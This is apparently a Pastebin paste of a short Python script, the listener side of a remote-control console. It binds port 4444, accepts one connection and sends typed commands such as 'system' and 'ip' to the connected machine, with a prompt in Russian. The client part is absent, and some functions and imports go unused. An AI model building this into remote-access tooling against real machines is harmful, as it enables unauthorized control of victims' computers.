Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import shutil
- import os
- import sys
- import threading
- import platform
- import requests
- BUFSIZE = 10000
- HOST = socket.gethostname()
- PORT = 4444
- server= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- server.bind((HOST, PORT))
- server.listen(1)
- connect,address = server.accept()
- print(f"Connecting from {address}")
- def ip():
- connect.send(command.encode())
- ip=connect.recv(BUFSIZE)
- ip=ip.decode()
- print(ip)
- def system():
- connect.send(command.encode())
- system=connect.recv(BUFSIZE)
- system=system.decode()
- print(system)
- def file_input():
- connect.send(command.encode())
- smg=connect.recv(BUFSIZE)
- smg=smg.decode()
- print(smg)
- while True:
- command=input(str("Введите команду для выполнения>>"))
- if command=="system":
- system()
- if command == "ip":
- ip()
- if command=="exit":
- sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement